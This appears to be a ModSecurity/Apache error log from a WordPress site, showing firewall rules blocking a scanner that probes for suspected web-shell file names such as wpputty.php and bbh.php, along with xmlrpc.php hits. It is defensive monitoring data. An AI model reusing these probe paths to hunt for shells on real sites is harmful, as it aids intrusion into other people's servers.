[Sat Apr 18 13:24:54.334152 2026] [:error] [pid 9863:tid 9884] [client 43.128.67.187:39974] [client 43.128.67.187] ModSecurity: Access denied with code 403 (phase 2). Pattern match "\\\\b(close|keep-alive),[\\\\t\\\\n\\\\r ]{0,1}(close|keep-alive)\\\\b" at REQUEST_HEADERS:Connection. [file "/usr/local/apache/modsecurity-cwaf/rules/12_HTTP_Protocol.conf"] [line "70"] [id "210350"] [rev "1"] [msg "COMODO WAF: Multiple/Conflicting Connection Header Data Found||www.gigfragments.org|F|4"] [data "keep-alive, close"] [severity "WARNING"] [tag "CWAF"] [tag "Protocol"] [hostname "www.gigfragments.org"] [uri "/"] [unique_id "aeMVpjjjiypiFrTucbKUcAAAAAs"]
[Sat Apr 18 13:32:54.596841 2026] [:error] [pid 34288:tid 34295] [client 185.51.79.114:48160] [client 185.51.79.114] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 185.51.79.114, incrementing ddos counter"] [hostname "gigfragments.org"] [uri "/xmlrpc.php"] [unique_id "aeMXhuTIiy__PtiLmpmaxgAAAYM"]
[Sat Apr 18 13:35:32.123616 2026] [:error] [pid 9863:tid 9878] [client 144.76.199.240:60316] [client 144.76.199.240] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 144.76.199.240, incrementing ddos counter"] [hostname "gigfragments.org"] [uri "/xmlrpc.php"] [unique_id "aeMYJDjjiypiFrTucbKWpwAAAAU"]
[Sat Apr 18 13:47:20.743588 2026] [:error] [pid 9863:tid 9881] [client 4.232.146.182:20567] [client 4.232.146.182] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/tentang_rmol.php"] [unique_id "aeMa6DjjiypiFrTucbKZAQAAAAg"]
[Sat Apr 18 13:47:21.219374 2026] [:error] [pid 13023:tid 13033] [client 4.232.146.182:9276] [client 4.232.146.182] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/tentang_rmol.php"] [unique_id "aeMa6f1e7hG8DAeABB-4UwAAAQg"]
[Sat Apr 18 13:47:21.686367 2026] [:error] [pid 9863:tid 9897] [client 4.232.146.182:2548] [client 4.232.146.182] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/tentang_rmol.php"] [unique_id "aeMa6TjjiypiFrTucbKZAgAAABg"]
[Sat Apr 18 13:47:22.152506 2026] [:error] [pid 9865:tid 9960] [client 4.232.146.182:9331] [client 4.232.146.182] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/tentang_rmol.php"] [unique_id "aeMa6qzb5knECIY-C-gr7gAAAJc"]
[Sat Apr 18 13:47:22.616973 2026] [:error] [pid 9970:tid 9992] [client 4.232.146.182:21007] [client 4.232.146.182] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/yellow.php"] [unique_id "aeMa6iYdRLRhVmaIMx1fagAAANI"]
[Sat Apr 18 13:47:23.088512 2026] [:error] [pid 13023:tid 13028] [client 4.232.146.182:18303] [client 4.232.146.182] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/yellow.php"] [unique_id "aeMa6_1e7hG8DAeABB-4VQAAAQM"]
[Sat Apr 18 13:47:23.557952 2026] [:error] [pid 34290:tid 34328] [client 4.232.146.182:10781] [client 4.232.146.182] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/yellow.php"] [unique_id "aeMa6xqX6WpmmAXOBi-42gAAAck"]
[Sat Apr 18 13:47:24.059632 2026] [:error] [pid 34237:tid 34251] [client 4.232.146.182:9324] [client 4.232.146.182] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/yellow.php"] [unique_id "aeMa7BBmX4Wq5a6rxfYwwAAAAUw"]
[Sat Apr 18 13:47:24.598590 2026] [:error] [pid 9863:tid 9890] [client 4.232.146.182:21026] [client 4.232.146.182] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/block-template-utils.php"] [unique_id "aeMa7DjjiypiFrTucbKZBQAAABE"]
[Sat Apr 18 13:47:25.118543 2026] [:error] [pid 9970:tid 9988] [client 4.232.146.182:14114] [client 4.232.146.182] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/block-template-utils.php"] [unique_id "aeMa7SYdRLRhVmaIMx1fbQAAAM4"]
[Sat Apr 18 13:47:25.751205 2026] [:error] [pid 9863:tid 9873] [client 4.232.146.182:9573] [client 4.232.146.182] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/block-template-utils.php"] [unique_id "aeMa7TjjiypiFrTucbKZCAAAAAA"]
[Sat Apr 18 13:47:26.258887 2026] [:error] [pid 9863:tid 9888] [client 4.232.146.182:11816] [client 4.232.146.182] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/block-template-utils.php"] [unique_id "aeMa7jjjiypiFrTucbKZCgAAAA8"]
[Sat Apr 18 13:47:26.766137 2026] [:error] [pid 13023:tid 13025] [client 4.232.146.182:2507] [client 4.232.146.182] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/14.php"] [unique_id "aeMa7v1e7hG8DAeABB-4WwAAAQA"]
[Sat Apr 18 13:47:27.271319 2026] [:error] [pid 9864:tid 9909] [client 4.232.146.182:2530] [client 4.232.146.182] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/14.php"] [unique_id "aeMa74CFeowknfXHM7mnQgAAAEQ"]
[Sat Apr 18 13:47:27.743607 2026] [:error] [pid 9970:tid 9986] [client 4.232.146.182:9302] [client 4.232.146.182] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/14.php"] [unique_id "aeMa7yYdRLRhVmaIMx1fbwAAAMw"]
[Sat Apr 18 13:47:28.244837 2026] [:error] [pid 9970:tid 9992] [client 4.232.146.182:21020] [client 4.232.146.182] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/14.php"] [unique_id "aeMa8CYdRLRhVmaIMx1fcgAAANI"]
[Sat Apr 18 13:47:28.722780 2026] [:error] [pid 13023:tid 13043] [client 4.232.146.182:9291] [client 4.232.146.182] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/update_with_pics.php"] [unique_id "aeMa8P1e7hG8DAeABB-4XgAAARI"]
[Sat Apr 18 13:47:29.461148 2026] [:error] [pid 13023:tid 13040] [client 4.232.146.182:2529] [client 4.232.146.182] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/update_with_pics.php"] [unique_id "aeMa8f1e7hG8DAeABB-4YAAAAQ8"]
[Sat Apr 18 13:47:29.975021 2026] [:error] [pid 9970:tid 9988] [client 4.232.146.182:21003] [client 4.232.146.182] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/update_with_pics.php"] [unique_id "aeMa8SYdRLRhVmaIMx1fdgAAAM4"]
[Sat Apr 18 13:47:30.465941 2026] [:error] [pid 9970:tid 9982] [client 4.232.146.182:9567] [client 4.232.146.182] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/update_with_pics.php"] [unique_id "aeMa8iYdRLRhVmaIMx1feQAAAMg"]
[Sat Apr 18 13:47:31.017085 2026] [:error] [pid 9970:tid 9975] [client 4.232.146.182:14108] [client 4.232.146.182] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/date-object.php"] [unique_id "aeMa8yYdRLRhVmaIMx1fegAAAME"]
[Sat Apr 18 13:47:31.619488 2026] [:error] [pid 9864:tid 9917] [client 4.232.146.182:10768] [client 4.232.146.182] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/date-object.php"] [unique_id "aeMa84CFeowknfXHM7mnSAAAAEs"]
[Sat Apr 18 13:47:32.104572 2026] [:error] [pid 9864:tid 9920] [client 4.232.146.182:21017] [client 4.232.146.182] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/date-object.php"] [unique_id "aeMa9ICFeowknfXHM7mnSgAAAE4"]
[Sat Apr 18 13:47:32.574370 2026] [:error] [pid 9863:tid 9878] [client 4.232.146.182:14142] [client 4.232.146.182] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/date-object.php"] [unique_id "aeMa9DjjiypiFrTucbKZFQAAAAU"]
[Sat Apr 18 13:47:33.043156 2026] [:error] [pid 9863:tid 9874] [client 4.232.146.182:9540] [client 4.232.146.182] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/w-1.php"] [unique_id "aeMa9TjjiypiFrTucbKZFwAAAAE"]
[Sat Apr 18 13:47:33.570441 2026] [:error] [pid 34290:tid 34338] [client 4.232.146.182:2353] [client 4.232.146.182] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/w-1.php"] [unique_id "aeMa9RqX6WpmmAXOBi-44AAAAdM"]
[Sat Apr 18 13:47:34.059536 2026] [:error] [pid 34290:tid 34323] [client 4.232.146.182:14106] [client 4.232.146.182] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/w-1.php"] [unique_id "aeMa9hqX6WpmmAXOBi-44QAAAcQ"]
[Sat Apr 18 13:47:34.528368 2026] [:error] [pid 34290:tid 34339] [client 4.232.146.182:31528] [client 4.232.146.182] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/w-1.php"] [unique_id "aeMa9hqX6WpmmAXOBi-44gAAAdQ"]
[Sat Apr 18 13:47:34.998810 2026] [:error] [pid 34288:tid 34307] [client 4.232.146.182:14084] [client 4.232.146.182] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/zwso.php"] [unique_id "aeMa9uTIiy__PtiLmpmctgAAAY8"]
[Sat Apr 18 13:47:35.464438 2026] [:error] [pid 9865:tid 9940] [client 4.232.146.182:2497] [client 4.232.146.182] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/zwso.php"] [unique_id "aeMa96zb5knECIY-C-gr7wAAAIM"]
[Sat Apr 18 13:47:35.931472 2026] [:error] [pid 9864:tid 9919] [client 4.232.146.182:2534] [client 4.232.146.182] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/zwso.php"] [unique_id "aeMa94CFeowknfXHM7mnTQAAAE0"]
[Sat Apr 18 13:47:36.416317 2026] [:error] [pid 9970:tid 9985] [client 4.232.146.182:2340] [client 4.232.146.182] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/zwso.php"] [unique_id "aeMa-CYdRLRhVmaIMx1ffgAAAMs"]
[Sat Apr 18 13:47:36.881899 2026] [:error] [pid 9863:tid 9873] [client 4.232.146.182:9307] [client 4.232.146.182] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/bbh.php"] [unique_id "aeMa-DjjiypiFrTucbKZHgAAAAA"]
[Sat Apr 18 13:47:37.353803 2026] [:error] [pid 13023:tid 13029] [client 4.232.146.182:12596] [client 4.232.146.182] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/bbh.php"] [unique_id "aeMa-f1e7hG8DAeABB-4bAAAAQQ"]
[Sat Apr 18 13:47:37.818685 2026] [:error] [pid 9864:tid 9908] [client 4.232.146.182:2326] [client 4.232.146.182] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/bbh.php"] [unique_id "aeMa-YCFeowknfXHM7mnTgAAAEM"]
[Sat Apr 18 13:47:38.286681 2026] [:error] [pid 13023:tid 13031] [client 4.232.146.182:11638] [client 4.232.146.182] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/bbh.php"] [unique_id "aeMa-v1e7hG8DAeABB-4bwAAAQY"]
[Sat Apr 18 13:47:38.762387 2026] [:error] [pid 9864:tid 9927] [client 4.232.146.182:10758] [client 4.232.146.182] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/gool.php"] [unique_id "aeMa-oCFeowknfXHM7mnUAAAAFU"]
[Sat Apr 18 13:47:39.238725 2026] [:error] [pid 9863:tid 9886] [client 4.232.146.182:10790] [client 4.232.146.182] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/gool.php"] [unique_id "aeMa-zjjiypiFrTucbKZIwAAAA0"]
[Sat Apr 18 13:47:39.703873 2026] [:error] [pid 9865:tid 9959] [client 4.232.146.182:11620] [client 4.232.146.182] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/gool.php"] [unique_id "aeMa-6zb5knECIY-C-gr8gAAAJY"]
[Sat Apr 18 13:47:40.169011 2026] [:error] [pid 9863:tid 9881] [client 4.232.146.182:16812] [client 4.232.146.182] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/gool.php"] [unique_id "aeMa_DjjiypiFrTucbKZJgAAAAg"]
[Sat Apr 18 13:47:40.634963 2026] [:error] [pid 34290:tid 34340] [client 4.232.146.182:9519] [client 4.232.146.182] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/class-wp-pagebuilders-BDsjLk.php"] [unique_id "aeMa_BqX6WpmmAXOBi-45AAAAdU"]
[Sat Apr 18 13:47:41.101229 2026] [:error] [pid 9863:tid 9895] [client 4.232.146.182:2335] [client 4.232.146.182] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/class-wp-pagebuilders-BDsjLk.php"] [unique_id "aeMa_TjjiypiFrTucbKZJwAAABY"]
[Sat Apr 18 13:47:41.569546 2026] [:error] [pid 9863:tid 9892] [client 4.232.146.182:9491] [client 4.232.146.182] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/class-wp-pagebuilders-BDsjLk.php"] [unique_id "aeMa_TjjiypiFrTucbKZKAAAABM"]
[Sat Apr 18 13:47:42.035130 2026] [:error] [pid 9863:tid 9896] [client 4.232.146.182:2327] [client 4.232.146.182] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/class-wp-pagebuilders-BDsjLk.php"] [unique_id "aeMa_jjjiypiFrTucbKZKwAAABc"]
[Sat Apr 18 13:47:42.502448 2026] [:error] [pid 9863:tid 9897] [client 4.232.146.182:20599] [client 4.232.146.182] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/iiiihjwn.php"] [unique_id "aeMa_jjjiypiFrTucbKZLgAAABg"]
[Sat Apr 18 13:47:42.966164 2026] [:error] [pid 9863:tid 9874] [client 4.232.146.182:11339] [client 4.232.146.182] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/iiiihjwn.php"] [unique_id "aeMa_jjjiypiFrTucbKZMAAAAAE"]
[Sat Apr 18 13:47:43.436020 2026] [:error] [pid 34288:tid 34308] [client 4.232.146.182:31488] [client 4.232.146.182] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/iiiihjwn.php"] [unique_id "aeMa_-TIiy__PtiLmpmcuQAAAZA"]
[Sat Apr 18 13:47:43.900763 2026] [:error] [pid 34237:tid 34254] [client 4.232.146.182:20997] [client 4.232.146.182] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/iiiihjwn.php"] [unique_id "aeMa_xBmX4Wq5a6rxfYwywAAAU8"]
[Sat Apr 18 13:47:44.366433 2026] [:error] [pid 13023:tid 13029] [client 4.232.146.182:2355] [client 4.232.146.182] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/ru_RU_lite.mo.php"] [unique_id "aeMbAP1e7hG8DAeABB-4cgAAAQQ"]
[Sat Apr 18 13:47:44.831135 2026] [:error] [pid 9970:tid 9978] [client 4.232.146.182:11384] [client 4.232.146.182] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/ru_RU_lite.mo.php"] [unique_id "aeMbACYdRLRhVmaIMx1fhAAAAMQ"]
[Sat Apr 18 13:47:45.301978 2026] [:error] [pid 34237:tid 34251] [client 4.232.146.182:20284] [client 4.232.146.182] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/ru_RU_lite.mo.php"] [unique_id "aeMbARBmX4Wq5a6rxfYwzQAAAUw"]
[Sat Apr 18 13:47:45.767375 2026] [:error] [pid 9865:tid 9958] [client 4.232.146.182:11349] [client 4.232.146.182] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/ru_RU_lite.mo.php"] [unique_id "aeMbAazb5knECIY-C-gr9QAAAJU"]
[Sat Apr 18 13:47:46.232296 2026] [:error] [pid 13023:tid 13037] [client 4.232.146.182:11362] [client 4.232.146.182] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/wpputty.php"] [unique_id "aeMbAv1e7hG8DAeABB-4dAAAAQw"]
